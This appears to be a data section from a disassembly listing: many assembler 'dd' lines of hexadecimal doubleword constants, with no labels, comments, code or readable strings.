dd 9310FB2Ch, 7BEB43A0h, 0BD4F012Ah, 64FD2968h, 0DE17F89Eh
dd 0F80057F8h, 4327803Dh, 1C1218EEh, 6CD6B1h, 99D066D7h
dd 1D7B8C26h, 0EA0159EAh, 96359C54h, 0FDE8BDF7h, 0D0620066h
dd 0A4BCD4C9h, 343C91BAh, 0F40B0019h, 940DCDD5h, 2DAC0065h
dd 2B0CC54Eh, 0BC0015EEh, 11F84A30h, 8B555Ch, 82B39E56h
dd 365EDF39h, 0AE5F5B00h, 13ABDD6h, 7D9B141Ch, 440B82CDh
dd 7A835717h, 0BBC84720h, 4033367Ch, 0FF24B83Ch, 0FA1E11B0h
dd 1B1D03DFh, 5575F2B2h, 41CCA4B0h, 62874900h, 0DE26F367h
dd 0F84E0019h, 0D8DFFDE9h, 18007E73h, 0FF43B384h, 1DC01C0h
dd 0A555E76h, 0F840E929h, 5A0BCD18h, 80A6649Ah, 70E24E5h
dd 33DC03B9h, 0B445F81Dh, 302A2900h, 0EA04A5CCh, 0A0BA07E9h
dd 0B0B1F388h, 0D91760CBh, 8C165603h, 9795513Dh, 9201F490h
dd 0ECBD00FFh, 67D84D02h, 0EA002370h, 98D3195Dh, 1A5194h
dd 0EF4764EBh, 27209160h, 0D0B43350h, 765EA317h, 68D315h
dd 0C074A883h, 30A295E1h, 1C305F60h, 0B0006E2h, 0B10FCAD7h
dd 18D87784h, 38C46A3Ah, 0B74867E4h, 71721E2Ch, 6082B940h
dd 0C8BEE7h, 0F4DE0995h, 589C2777h, 0C28EA800h, 0F64F45A0h
dd 0F4D001Ah, 93B15370h, 0D90035ECh, 8F3AF77Eh, 1EC86B23h
dd 0C1390FE7h, 6AC75CE1h, 92A5D855h, 0C0388224h, 0FF081D00h
dd 37328494h, 73B05E1Ah, 58A05BCDh, 0FB3046E7h, 24FE90B3h
dd 13DB0379h, 74B016DAh, 1EFD1900h, 2AAE5E8Bh, 0B4CA0035h
dd 0A6459539h, 6B2B780Eh, 29001827h, 0B9BC66Fh, 888E507Fh
dd 613E006Dh, 2FD3C74Eh, 0B7005DE1h, 9EDEB68Bh, 13470703h
dd 5127A66h, 40296C74h, 0FD52DAD0h, 0D600AC95h, 67D21C1Bh
dd 6A75A4h, 0D8F07CDCh, 14185A9Dh, 82CA7D39h, 0BDF6B17Bh
dd 0DAA8A0DDh, 6714F89h, 6E789CFAh, 0CB01A0B4h, 8BCE3106h
dd 6AE2C012h, 0C07D754h, 360C7094h, 0A8C0D8ADh, 21175441h
dd 0B8DE5813h, 43450A7Bh, 0C0DC6048h, 9F035FDAh, 5352CC01h
dd 0E7A1342Ch, 4E9BBC40h, 0F7571480h, 6B00846Eh, 0AE6A3168h
dd 5800B9F4h, 0DA946660h, 3C56746Fh, 0A385802Bh, 0C0968165h
dd 85060226h, 6BA40300h, 4CA611BBh, 0E147670h, 40CB1A39h
dd 0E28B1240h, 7A07F262h, 9A0BE44Fh, 0AC98BEA1h, 2204D46Ch
dd 86FF426Dh, 4400D914h, 0DEB0BC58h, 6079FB9Fh, 6E7B1E66h
dd 14986993h, 0A7FEC01h, 23725049h, 5C2B047h, 0A2204059h
dd 4847210h, 345E3E9Ah, 65A88C29h, 3326701h, 0C0DB41BBh
dd 0FD8020h, 0FE42577Ch, 609448FCh, 0E60A7C90h, 0F077DCFAh
dd 0B9E4981h, 0B98026ECh, 7BC90EEEh, 564CAA8Fh, 34BD02F3h
dd 98350DC0h, 492238D8h, 0AA0B3C87h, 0E807D44Bh, 28A079CAh
dd 6C123DF4h, 0FD2B8C02h, 4895B7B2h, 0F850AF8h, 0E07A8AFCh
dd 6B594098h, 0DCA66502h, 80B41FD3h, 48364DA4h, 19750EBBh
dd 9BC33E89h, 32C2ED97h, 0A82D1C40h, 6C9F7104h, 580247Dh
dd 0F421C0D6h, 3CF41581h, 9507B8CFh, 60E08B17h, 0FBEFD5E9h
dd 5580F31Dh, 1BF1A880h, 0C0A04AD1h, 3B991289h, 0F30E9AB8h
dd 988E353h, 0B99C2033h, 569297DBh, 3E7CC87Ch, 0C280A26Eh
dd 862D27CBh, 66005675h, 359812FCh, 0B5EF1h, 20E321F9h
dd 8C78B887h, 30096A24h, 76730EB8h, 63E5A327h, 0B08F926Dh
dd 8BC15AE4h, 64CBF4h, 0DF0BA246h, 60266BC1h, 5706A8D9h
dd 9618D8ECh, 7DD9F42Eh, 9B4B72A8h, 0B0AF8094h, 1FF15502h
dd 73013974h, 18AB131Dh, 1C22315Ah, 80B2FB02h, 0C469F971h
dd 43000E81h, 9F0B09AAh, 8000B597h, 0CF94769Ch, 1C164714h
dd 2120AEh, 7818458Fh, 9105D40Dh, 0D1EF7D39h, 0FBDDEC00h
dd 3ACB76h, 19125C55h, 0EB8118E0h, 0E1097300h, 0F016D405h
dd 0C2CE1244h, 0EF5400C0h, 261CF931h, 9C003C72h, 85E130A1h
dd 7B3750Fh, 35678BD3h, 0A6590DEh, 690501DAh, 42C5DB12h
dd 0B493B080h, 2D9D2E74h, 0AA730003h, 4443025Ch, 0A466804h
dd 0B890CF5Bh, 15D1C9Bh, 0B53F95B9h, 0D8E5947Ch, 8000AD4Eh
dd 38D71F2Ch, 76691E26h, 6BD600BEh, 53C8686Ah, 743F1915h
dd 8F123D1Ch, 60A680B3h, 708E0514h, 688A04D1h, 90B4E601h
dd 3A82E3D8h, 0E1141E7Fh, 858C6F6Ch, 0F0470811h, 0FCA0F7FFh
dd 2A943Bh, 0AE43D648h, 0BCF213B0h, 0C4F4452Ch, 20FB428Fh
dd 3C799D6Ah, 0D0C800F0h, 8740A996h, 0E07CF9D4h, 70F38300h
dd 2478DBEDh, 8855001Eh, 22B2E4DAh, 411C8A2Ah, 541D6D16h
dd 156E80C0h, 0C34DC4Dh, 66D495ABh, 5D00F846h, 0BAF4A34Ah
dd 0B83C3A11h, 759A1877h, 0FA4820F0h, 0DCF83000h, 0F1A6A8D7h
dd 48249A64h, 0B30018E6h, 19A18BB6h, 6803FDA5h, 95AF53C6h
dd 74C1E844h, 7090527h, 0D29182h, 0D329CC80h, 72014D86h
dd 0B5EAB7A1h, 0F0D4D5C6h, 1CD00155h, 0C2CD4E8Fh, 0C0306461h
dd 803CC4B1h, 58EC1B6Dh, 58CB9CBh, 0F8FC13E2h, 0E740C863h
dd 417F8300h, 6FF1E467h, 292E005Ah, 0A9A8E80Dh, 0FA02C32Dh
dd 0EFEB2B58h, 446438h, 0DBA59E8Ah, 0CAC5DA6Bh, 0A68CDD3Dh
dd 0CD860849h, 0C1B6BD5Dh, 0A9E58AC0h, 2068EABFh, 0C49A96BEh
dd 5BB57E07h, 44302425h, 2C02A74Ch, 64D4DF7Ch, 57E831AAh
dd 98A038EAh, 0F7CCB4Dh, 0ECE8C021h, 10A6858h, 85B44A93h
dd 0ECAA8E75h, 0EC9ADF37h, 53E6C21h, 9C6889FEh, 3900F7C4h
dd 0B9D1CE8Bh, 9A056693h
dd 0B3151724h, 0E4B81186h, 5C60C1DEh, 20184F75h, 27DDB7Ch
dd 4C58FA5Ch, 1DC40F58h, 0C0C100E1h, 5B718BFh, 3CA23EE8h
dd 78649C11h, 0A9008EEAh, 0FB3ED961h, 9ACB9077h, 0A3962144h
dd 8F013424h, 766C9816h, 2672C2CCh, 1082EF1h, 7420B8D3h
dd 0DFBDD8B1h, 14DB3A25h, 0C1572218h, 0D6717E00h, 0ECE050C5h
dd 6263F9Ch, 60E91Fh, 101B4A8Bh, 7001985Fh, 6389F38Fh
dd 0C0408A6Ch, 144BB0h, 0CDE694A5h, 0C0472A39h, 1D0317F2h
dd 20CB8D61h, 2C3AE02Dh, 0CD321630h, 18CA187Ah, 815652BBh
dd 0FAAA014Ch, 1C89762Dh, 0F0022028h, 886F6E23h, 0CD4BC68h
dd 55672B03h, 98251BEAh, 5D165Ch, 93BC3FE4h, 442447ADh
dd 0A8A42100h, 2BDA6D4Fh, 907F00FFh, 27D79408h, 0AB0077B5h
dd 5887918Bh, 1BB3701h, 0EEC0F8B9h, 409BE0A6h, 9E8138A4h
dd 4E002FEh, 0AEDA1600h, 8F447283h, 0DD7B03FEh, 6C20D755h
dd 225CD000h, 0C4410AB3h, 4C3E3A42h, 15586700h, 0D8A3191Ch
dd 77515C94h, 1C6CC8FEh, 0A1799Eh, 871B7F0Ah, 0C47B45FCh
dd 39054890h, 620C5007h, 5F2800Fh, 0C0009C65h, 816A54F3h
dd 2BEF198Ch, 0D534202Dh, 4F3880BFh, 0D5035432h, 0E70237A1h
dd 4E0B3068h, 0EE03728Bh, 3714B4F2h, 50FE13h, 0BAFD8A96h
dd 0A668A8C2h, 86DC4600h, 609AAD66h, 0A0640749h, 6F287F25h
dd 20B502E0h, 1C006C22h, 55B18CD4h, 71D0A0D3h, 83101DCh
dd 0C315415Ch, 0CE1C3475h, 46B3FB00h, 9C428658h, 0EF0A3F07h
dd 54743480h, 6962BE23h, 378BFB00h, 0D97A48ADh, 0C89F0005h
dd 47F58C2Bh, 5000FEE8h, 2E2954DFh, 5437207h, 0E72FDE2Dh
dd 1454C04Ah, 3F2EAF81h, 80BF04C1h, 95D53E9Ah, 4CBBA178h
dd 0DD0070E6h, 1B1F4DAAh, 0ECEB2422h, 6C00B747h, 0F8F39353h
dd 0E4951D16h, 912C1DD2h, 0C1DC8072h, 0A94A5570h, 0C326EC12h
dd 5711C91h, 77E0D9DDh, 3A60038h, 83FBDC47h, 0ED006818h
dd 0C660800Fh, 66F7B6Ah, 9DB2BA6Ch, 0BCF240C4h, 4CA4000h
dd 98D4B1F6h, 5D4907B3h, 9173649Ah, 0C4995F16h, 0D93B6D6Ch
dd 3977701Eh, 0DBEF1300h, 0A25814DDh, 0C7980086h, 3FDF95B4h
dd 0C539821Dh, 0BCEC80ADh, 212FE1AFh, 86660036h, 5518B505h
dd 7600C3B9h, 0EC48939Eh, 1E5265F3h, 47256F2Ah, 0F1688D22h
dd 0E804B3A5h, 9B00C46Bh, 0B0665220h, 25CDCFh, 0DE278ED1h
dd 0A9872854h, 33DC2300h, 0DBE0838h, 0E9F29Eh, 57FBD82Bh
dd 0DB872D5Ch, 0A3E58E00h, 53A21D04h, 44B00062h, 31A68C1Bh
dd 0DE002CD1h, 0BEFA9C5h, 5EB961h, 93B13437h, 1224F6B3h
dd 5DA8CD02h, 72ED6B69h, 0E8B00038h, 0E9365A89h, 0F376AADEh
dd 9A753377h, 61C06812h, 6244E700h, 5F98FCh, 0ABEC0A34h
dd 2A417826h, 9C2F7F00h, 0A093FBB8h, 0E8F90013h, 3153A370h
dd 909CB90Bh, 2CD612BDh, 88588081h, 12FFB1D4h, 400B56B3h
dd 21152EE8h, 54F8A30Dh, 0DA931D02h, 8071DE9Bh, 496C1ECh
dd 706400A0h, 110A7F74h, 3800DC48h, 0A3D7E9F8h, 0CC888Ah
dd 0B73B2C58h, 2F8320E4h, 8D6046F0h, 17033F7Ch, 36FCE1h
dd 7FBC1891h, 6B876F72h, 96012790h, 5AC10878h, 0EC30B909h
dd 14BF007Ah, 9207CBAAh, 96032095h, 1D5D3603h, 0A5D0F770h
dd 603866h, 4591F2B3h, 9BA2CB09h, 4F476F00h, 0C525D6F6h
dd 0A77B0028h, 67902268h, 496033D9h, 43EC2334h, 1B0E0510h
dd 1FB5F04Ch, 80CC9E84h, 8E904866h, 297B01CDh, 3AC55D20h
dd 1FFE3A5Bh, 3D8B4FEEh, 0EB7DD680h, 0E25726Bh, 0E6D01000h
dd 2F3B832Eh, 0C8C60080h, 7926AFD5h, 41004AF1h, 9FD3844Ch
dd 4C804053h, 7B00F07Fh, 3DAFD9FEh, 0ED724102h, 0F9188400h
dd 77DFDA13h, 0A4110494h, 80E089ECh, 642C099Ch, 7C1CFBECh
dd 0ABC2B2F2h, 80F531BCh, 0E8E56F0h, 0C3751Fh, 7ABAD02Dh
dd 0B1F0374Eh, 0FB58F100h, 8007C208h, 0C185036Ch, 20907967h
dd 0AC3BB498h, 92654100h, 9EC0C43Ch, 1B690070h, 76E1E80Fh
dd 3A3BB259h, 0D24D8014h, 49936891h, 645A181Eh, 667B4983h
dd 45A3180Ch, 0BB104Bh, 508588A6h, 0B26AD86h, 136F3E00h
dd 0B5D57B63h, 1BF03C70h, 3A0EE45Ch, 0C0846744h, 94AE42E6h
dd 4FA4C8E0h, 3389006Eh, 25E2878h, 4C709BF8h, 9E0AD678h
dd 0E046BFAAh, 0E5062100h, 5E715B88h, 0AE08003Fh, 0D4B2D0B6h
dd 9A4D8500h, 0EC9DF28h, 3C9600C0h, 8FF3EBD3h, 5500A632h
dd 34C618FCh, 951D7953h, 0F83D4CE0h, 0CCE1C00h, 2CAC77D3h
dd 6DE0034h, 240D50C2h, 0B12EF2C0h, 0CE83CC4Fh, 0C03C16BDh
dd 1D23B22h, 954159EFh, 83170CB3h, 8D943E90h, 0CA31004Eh
dd 0C119B691h, 1818B349h, 0C0B81E60h, 0F5B82631h, 97760698h
dd 8FF42079h, 2B00A3E8h, 729322F7h, 5D9EB54Eh, 151FB4B2h
dd 0C0DF1F50h, 0D208633Bh, 0D618C2B0h, 0EA4076B1h, 93D714C0h
dd 0B8145878h, 9A004CF7h, 0A15AEFE2h, 6F004720h, 0B3261D1h
dd 0E127A0Eh, 3433664Dh, 79721360h, 2D004002h, 9777CBD9h
dd 30AD3520h, 53595176h, 231CD584h, 0B143B9C1h, 0A3B689B8h
dd 15210044h, 91E3D35Bh, 0E00AFCAh, 1619D509h, 1137C8Dh
dd 3F9D4D9Fh, 0F0DE2BE5h, 8E1B3411h, 0D0E9B39Ah, 0FCB02EBh
dd 18290F30h, 80AD0959h, 223FE21h, 0C6F89A4h, 699EAFC0h
dd 1CEEB448h, 62F0C92h, 0D7BC00BCh, 1C62BC4h, 523CA5FFh
dd 2CD4AE53h, 8F33077Ch, 150034D9h, 6F293F4h, 0A0BF1281h
dd 8A00494Eh, 0AE0390BDh, 6EC7F4Dh, 25B0C572h, 0CCFE7AB1h
dd 66BAD750h, 213E31C7h, 15BD2341h, 0EC6F1180h, 0F23BAD8Eh
dd 9442EF19h, 8C6C8B09h, 8EEE0F01h, 0CC73476Ch, 0EA06DDFEh
dd 0AA9AE024h, 770307F1h, 0E091B331h, 374740D5h, 1EDC6502h
dd 0E18DFFBAh, 4AD13E36h, 44768452h, 5DD0700h, 81D979E3h
dd 485327EDh, 48C85B8h, 30CC02B0h, 12FD38B7h, 3BC0228h
dd 0C4145FBEh, 0A48AA088h, 0D2BF4D1Dh, 22CD9E40h, 0E2B265h
dd 0ADC2C79Ah, 8C898E3Dh, 72606B00h, 58871036h, 27650733h
dd 20CA9FF9h, 79844A1Eh, 59179B00h, 0B2E92589h, 0CF960010h
dd 2EC0AB40h, 0D30508E8h, 9BE2BA66h, 4A4EC3h, 0E4573930h
dd 0CFC86EECh, 0B3B78B39h, 7C0897h, 0EC878A21h, 0AB208C54h
dd 0D2C17A01h, 4628F5EDh, 64253700h, 2D92D500h, 0BBCCE3Ah
dd 0FB4EE70h, 0A633171Bh, 0CD202120h, 4903F7DCh, 0B84A522Ah
dd 5F600050h, 0A067FB6Fh, 0A8734B36h, 2E796963h, 0D261482Fh
dd 0D10C7307h, 742610E3h, 6F24F385h, 3700EA33h, 8D3BAA9Bh
dd 53B90116h, 0E2A9F588h, 891ED840h, 20496100h, 17BA0A4Bh
dd 56313043h, 74E17B59h, 0BB032998h, 6B204A16h, 7F48A31Dh
dd 77B90021h, 0A8C11F65h, 81E61687h, 0BE3E50AEh, 0E3360059h
dd 9589C7FAh, 0F44203B9h, 415FE663h, 484417B9h, 770FBA3Ch
dd 0B0D318B8h, 77F2E0B0h, 27E3D0Fh, 0C4C36FD3h, 0EC00510Dh
dd 137B7A44h, 4D63101Eh, 0C0DA9C00h, 3A14E4EDh, 280030E5h
dd 58112740h, 0A12037A8h, 44D9A09Ah, 0D781A05Eh, 0E677E1h
dd 85DC071h, 3024A74h, 415CEA01h, 99A0184Eh, 2E373980h
dd 0B481A7D7h, 4DFC700h, 0EF9E116Ah, 1A9102ECh, 341069E5h
dd 7E17C480h, 8C6AE48h, 0F841232Dh, 71FB5868h, 4FB63F0Ch
dd 0B3001928h, 0B25AE416h, 3AB42B37h, 0A303693h, 16BAF6E9h
dd 8AE7DF01h, 55943F8h, 0AE8C0EAh, 1255FC03h, 47A538B0h
dd 0A2E300h, 5A8DB801h
dd 0DB8E9A01h, 320D0F41h, 1BEC20E1h, 0E4D100EBh, 45DD1152h
dd 58EC2D3Ah, 9B563417h, 779C018h, 75E10004h, 147BC069h
dd 10EF842h, 20FCB5ACh, 0BBFE98A1h, 7A3424A8h, 40AA4404h
dd 72A6087Eh, 239F0088h, 0F4F518D9h, 8300F9BBh, 0A27DB0CEh
dd 987AF178h, 0C0AF0173h, 980CB2E4h, 0AEC88ECBh, 77E8E01Ch
dd 3CD06F8Ah, 47CC8D38h, 74B3A80Ah, 33C686C8h, 500F979h
dd 3B5730BFh, 44EBB1h, 5914D6FBh, 0B446DC73h, 0DE5B0400h
dd 7B5FB8E5h, 32AB2AAAh, 5D2858D4h, 99FA7006h, 476060BFh
dd 6520C0D1h, 64E6002Fh, 0F1D06B77h, 0A10A2185h, 94093FD8h
dd 0B8AD6780h, 80A9Fh, 0BBD30BAEh, 4E6B1FA4h, 80A0293Ch
dd 0B18F5F28h, 1311B97h, 0A87ED751h, 0D046C84Fh, 0D60159E8h
dd 0AD87BD34h, 598002C6h, 1E29F211h, 53F92870h, 3880B1ACh
dd 543FA5D2h, 1999B02Bh, 45F6F5h, 5561B528h, 0B3FD4DDCh
dd 64275F00h, 4AE5E13Eh, 0FA5800B9h, 0A3291D15h, 59307B4Fh
dd 0D3E28AB1h, 0F5070FCCh, 4763F15Ah, 5790CE29h, 3005E008h
dd 32236094h, 4C1A046Eh, 41E4802h, 18DFBA3Eh, 3F105368h
dd 614E73D8h, 0EB75095Dh, 61B8C8B7h, 4250D9E5h, 0E803841Ch
dd 0F081449h, 0EA8F200Eh, 0E38E2380h, 80CB85Fh, 0D170032Ah
dd 50288B33h, 8F281863h, 0C8314CDFh, 6095094Dh, 1C5A5847h
dd 900D388Ah, 964DC74Eh, 946E50FAh, 60A97C10h, 4209BDD0h
dd 0B0AC70D8h, 6620B748h, 65C9E981h, 30BC09F0h, 0E682501Ch
dd 410870DBh, 141144B0h, 0D18CC9CBh, 7318CC30h, 684C9652h
dd 6BE05011h, 0F93810h, 0E9E4CA73h, 514E5FABh, 4941ECA6h
dd 9F6BC641h, 9B482E1h, 0FC043A21h, 64192837h, 57D529C0h
dd 0AD9500C4h, 50CD24FCh, 0BFF3A00h, 2D0D1CB1h, 0E40E4416h
dd 0D075BE01h, 3ECD7028h, 0FF7100FEh, 38C0C6CEh, 24F9549h
dd 406E495Bh, 14B0C50Ch, 0BA00DE49h, 621750CCh, 0F6CFFF51h
dd 0A7342432h, 0A383B99Ch, 63023940h, 0B7619800h, 3864BBC0h
dd 0B4302892h, 0CCBC1834h, 1F2249B8h, 80CD123Ah, 0F9B10E13h
dd 0E8B26306h, 0C0E807h, 3912A8A4h, 95378CB0h, 4E893818h
dd 308D82F9h, 4F085F48h, 0F8F17503h, 46615B08h, 0CF9B0C1h
dd 3B03519Dh, 3711F100h, 0BCCB0960h, 16333400h, 0AF3F43F2h
dd 6D323CCDh, 96496300h, 71C06184h, 19799506h, 1FD96621h
dd 80B1FF02h, 162CB9F5h, 0A5319A1Dh, 5C50E8BCh, 0C310130h
dd 47E39323h, 6A003289h, 3F480688h, 7C337483h, 0B9E30E54h
dd 5C8A9231h, 0F4E007BCh, 65C281D0h, 0D1C19454h, 0D9490F88h
dd 89381824h, 47B507EAh, 9CBCF744h, 69CC4530h, 0DC61E00Ah
dd 29BD8EE8h, 0CFD04052h, 76326AE4h, 4CEBBF04h, 4829A43h
dd 8C1080CBh, 393930BDh, 0A1E10F04h, 470847FDh, 18AC2AB0h
dd 0E8C79975h, 0A0DD902h, 862AA083h, 49509998h, 392B2C62h
dd 0B0A0A8h, 605DFF67h, 0FAAD4464h, 156CE449h, 1804B5Bh
dd 8E11C043h, 0B84A2623h, 0C8BBBD10h, 50589EB5h, 785C000Ah
dd 0B8084DB0h, 0C9820084h, 0F99D505Eh, 3901556Eh, 3DB70A05h
dd 3C72F89h, 3294B958h, 2DB8F73Fh, 6077992h, 580D1F83h
dd 211205C0h, 0D62E00BDh, 558D3B54h, 0AF003851h, 854CB07Ch
dd 3199C70h, 31297E07h, 0F81D76DEh, 60F00389h, 0B2AA48FBh
dd 0A021F050h, 80089C90h, 0A4988CCCh, 88B5B883h, 481F3330h
dd 29D18D09h, 1D3CD840h, 0AC4CF50h, 508C1A4Eh, 0FB80BA51h
dd 0BBC420B7h, 558C0C91h, 7C8281B8h, 0D34F09EAh, 301470C2h
dd 298BAA35h, 34C22C1Ch, 84324F40h, 0CD04514Ch, 0ECC05941h
dd 291EF198h, 1003A8Dh, 335CBC8Bh, 2483C5Bh, 153568CEh
dd 8086844Dh, 9400412Ah, 0F6343CD7h, 66527696h, 294C9151h
dd 0CF056042h, 3E273Ch, 4435073Ch, 58A485D9h, 0FA772B7Ch
dd 22893F14h, 0D6978048h, 931785h, 1686FD79h, 0D4B345FAh
dd 0F6326F06h, 220E08Ah, 0BC5F3C5Ch, 0B841259Dh, 0A8161365h
dd 664D486Eh, 79361839h, 0B30CE0E6h, 7115BA3Dh, 660F2472h
dd 685914C8h, 0B010D115h, 79D38877h, 40305C98h, 31F63961h
dd 1F047544h, 80D4B534h, 0B94BE8C8h, 691CAB0Eh, 8CA8D035h
dd 3228CC22h, 3210C5D4h, 353EA02Fh, 24032295h, 81A81E76h
dd 370CF0C6h, 807FC927h, 0B2F76081h, 18E00933h, 78174D8Dh
dd 0CCF0DC51h, 0E33595F2h, 0C818C156h, 1EC17118h, 1F493B8Ch
dd 0FD10831Fh, 97894C5Bh, 0C882EEACh, 9880BDF6h, 73C6F1E2h
dd 0F96E901h, 0C77D04B9h, 1D6FC30h, 7F3494CDh, 809A364Bh
dd 0E9E24FB0h, 264A6CC4h, 14F04C7Eh, 49C08C32h, 74693EB4h
dd 35CCB5A0h, 4B848D00h, 0CD0D9948h, 507A601Ch, 237E03BCh
dd 0E8E53331h, 5060AD36h, 55F12D2h, 9C5C14A9h, 0BD14491Fh
dd 0BE765062h, 0B1009C64h, 15F53870h, 13D7D0h, 339B451Eh
dd 12363CC6h, 0C22A3C98h, 0C4C7B428h, 1E73B760h, 0B0C6C06Bh
dd 28226088h, 0D2722DDEh, 33D98403h, 165004E6h, 68A4E918h
dd 0B8025EECh, 0F3C80455h, 61948285h, 0BC90C012h, 0C73B049Fh
dd 80F095B0h, 41F517F4h, 4704B50Ah, 0BA03ACC9h, 3E13243Ch
dd 9E03B230h, 0BD0E22C2h, 75E7D480h, 174E441Fh, 85BE5489h
dd 2843C810h, 4D58AADFh, 86AB019h, 4DBB0320h, 0A90E5E36h
dd 540449BAh, 171AC060h, 6B89073h, 0B0CA379Fh, 1D0859ADh
dd 20BDEFB2h, 0E1280090h, 73034E97h, 17282591h, 0B4C48C2h
dd 0CCB9150Ch, 0BB09157Ch, 60783C08h, 3DD6E279h, 96F1C105h
dd 50C2F2FFh, 9468CC84h, 49280892h, 0F549C23h, 0FF92848h
dd 8604B806h, 0A40C48C3h, 3974A8C7h, 1F8FEC93h, 1885F08h
dd 0D3647622h, 0CE5440E8h, 0BA509543h, 36F4D018h, 0D40A2F75h
dd 50CC2A54h, 0E93B6406h, 0DE830039h, 16EA3396h, 0C45439CAh
dd 5E1586CCh, 8CFDC7h, 0D8556D0h, 90C9AB52h, 423E44F8h
dd 13C85E4Ch, 540105A1h, 2B7643F0h, 4CF66824h, 0C07E4427h
dd 639D9311h, 2A7C3B8Dh, 0D94FBC03h, 40FCB75Eh, 8890DC69h
dd 0C73A8F17h, 0B17E8677h, 0E8190E91h, 946017E0h, 0F1383195h
dd 0B622E458h, 29984063h, 30281E17h, 6B4A428Fh, 0C84045A6h
dd 0A554CCBDh, 4403E4B0h, 1FBC8017h, 6C75A814h, 0BE4D09ADh
dd 408274C6h, 40084F5Bh, 50964054h, 90DF4223h, 6005033Bh
dd 130B1332h, 7DF0C18h, 0CB098188h, 0E6CC1411h, 58CFACA5h
dd 0CB1CB854h, 1037BCA1h, 907DF60Bh, 5F173044h, 151FE240h
dd 0B080160Eh, 0B1A94CC5h, 30B73961h, 95106DA6h, 18080C0Bh
dd 8C906E11h, 7B1ACCFh, 2DC56FB8h, 0EBEE0C1h, 1CF3CD8h
dd 521CBC06h, 303D715Ah, 66301B70h, 9340C964h, 0D6E70E6Bh
dd 0E3230AA4h, 4BAB108Ch, 5AF72100h, 7688C170h, 0C3F40027h
dd 68B94F78h, 40153F8h, 3D6E5216h, 0B040A287h, 0A42530F6h
dd 6B9D0430h, 6794D6E9h, 2118A0E9h, 71157065h, 0FA5E00E2h
dd 6C6E7DFCh, 0B024D4B9h, 7007CC3Ch, 68BD82FFh, 69BD4835h
dd 978065A1h, 84D6AB6Bh, 4944860Bh, 707F0B23h, 0F002E3Eh
dd 71A8E674h, 0F1F5B0Ah, 340BA014h, 9A09C6h, 80DFBCE8h
dd 209937h, 461007A2h, 6E0D24EFh, 823882Ah, 429100FBh
dd 0A16B552Fh, 0C500E3C9h, 0DCF3E9FBh, 2C9DE0B3h, 9860A9DDh
dd 73503197h, 7C2EA00h, 0FC29A18Bh, 27F0524h, 8130D912h
dd 4058B638h, 51B3BCD8h, 9D08F400h, 0D6D2FC04h, 0AA980020h
dd 3E8DA49Eh, 55C7771h
dd 7C551C03h, 78FAA0C0h, 0C0B2C9h, 776BECF6h, 0F8F45492h
dd 79445B03h, 0FFC9FF4Eh, 8717A460h, 77467BECh, 8275F6h
dd 0EB02640Ah, 38E3CA42h, 7D980C0Ch, 0BE6967h, 8B0640F1h
dd 3E599050h, 297CA273h, 393E417Eh, 0D9F61E8Ch, 0C334E9C0h
dd 6075D6E4h, 1CE1193Bh, 603E3ABEh, 9842000Ah, 0F1022E3Dh
dd 0C74B008Ah, 941E2A9Fh, 0E93EFC10h, 6900F491h, 1B0892EEh
dd 3432023h, 7F8C9811h, 0CABB446Ah, 0F81097C9h, 0EB015FA9h
dd 8D1DD8A8h, 0E060CB8Fh, 186A0065h, 901A68D6h, 6900D139h
dd 0BB8C8EBEh, 9C450Fh, 0DE4AFC41h, 80528DAh, 0CA1C300h
dd 1885F867h, 0BEEA2Fh, 0EF844293h, 4F5CE76Eh, 430B8200h
dd 22B0AE98h, 0EFB0653h, 311BB96Ah, 8EE99400h, 9D4971DFh
dd 0A62801DCh, 6105B14Bh, 5F2FCC85h, 25665E00h, 0F8BE6A01h
dd 0DD2300AFh, 0DE7DA5F3h, 69015135h, 0E7BA3BBFh, 588C8ECAh
dd 3961D6B9h, 8087A438h, 3E6DC5DEh, 36F6AEB1h, 5021194Ch
dd 84DD0A01h, 149BCAA5h, 6D828E0h, 0E65EEFACh, 30029C5h
dd 0E1600AABh, 0DCBD58h, 0B78943ACh, 1357E3B2h, 0D63F9D00h
dd 6FFFF71Eh, 7B5801ADh, 0EEE94FCAh, 7B6C009h, 1154EA1Eh
dd 849DD7C2h, 167660CFh, 0A7CC0EA9h, 63204F1Bh, 0DC03089Bh
dd 891EC9C0h, 8C2B3Ah, 8FDF8AD2h, 376653E8h, 0DEE7F00h
dd 0E43998A4h, 91D20FB0h, 21A34BB3h, 592A3FAh, 68D79883h
dd 500DC1DBh, 588F2604h, 3E5A6FCCh, 2C00A0F1h, 9F9C17B3h
dd 0F400B046h, 0E6D97E1Dh, 688D38h, 5911E388h, 54A9AC2Dh
dd 35602274h, 894B3B21h, 73DA0306h, 4037025h, 325481F0h
dd 0A23E14F2h, 26E600D0h, 28AC1E55h, 18EEB6h, 29081B5Fh
dd 75C56A64h, 106D3A3Ah, 0B5002A23h, 82D819F9h, 6600EA0Ah
dd 0BDE1582Eh, 72E82F77h, 0D688067Bh, 884B8025h, 216F60C4h
dd 0F619FD30h, 0C3742238h, 6B002422h, 0B5E2FE95h, 14F29Ah
dd 0CB72B4B9h, 5E825946h, 0EE8F6203h, 1865647Bh, 382D3868h
dd 0ED180927h, 0BF69C657h, 69A8018Bh, 86B9223Fh, 7F58E867h
dd 970C4003h, 8AE8A6h, 0BC27E540h, 66243B0Dh, 8F58C600h
dd 0B0DB7153h, 60E9608Dh, 0F4DF1096h, 96A2F09h, 0C2C877Dh
dd 219046h, 0FEECD97Fh, 33F031DEh, 50669307h, 89E285DAh
dd 0A06DE1DFh, 0B2EDE040h, 0F0987B07h, 0E6EB5827h, 0E24FC200h
dd 8C08A69Bh, 15D7E3Dh, 0C8032093h, 0C08EFF87h, 29A0FE23h
dd 0F48CF8FBh, 0A007D7Ah, 6FDD1C6Bh, 56731Ah, 960C7198h
dd 0EC0D55B2h, 3A044700h, 8D8664D9h, 2B2000E5h, 0FDA8D17Ah
dd 53003730h, 4D561231h, 78DC3DDh, 3894D369h, 807D8048h
dd 0EE03795Bh, 96AC28AAh, 0E508307Ah, 5B88E731h, 6F240600h
dd 5A918CAEh, 1DDA0021h, 0A99D71C3h, 0E4075718h, 0DB7ABCA8h
dd 0CAC656C0h, 0CB7F02E6h, 1C528E54h, 8AD66F01h, 0A35851DBh
dd 0F3BB8180h, 8033F727h, 6017F12Eh, 4C026F00h, 1919D8BCh
dd 4456FE0Eh, 80D9E9A6h, 25BD4D60h, 1C32C016h, 0B34A5A7Dh
dd 2101E309h, 0DE03EC9Dh, 53D8CC6Ah, 0B6820844h, 0B980AF4Ch
dd 219F76E8h, 752837B8h, 32CFA0h, 0F54F461h, 0F103F0F5h
dd 3F28BC60h, 1E200FDDh, 51E03806h, 0B518EE4Eh, 7DB0C4F8h
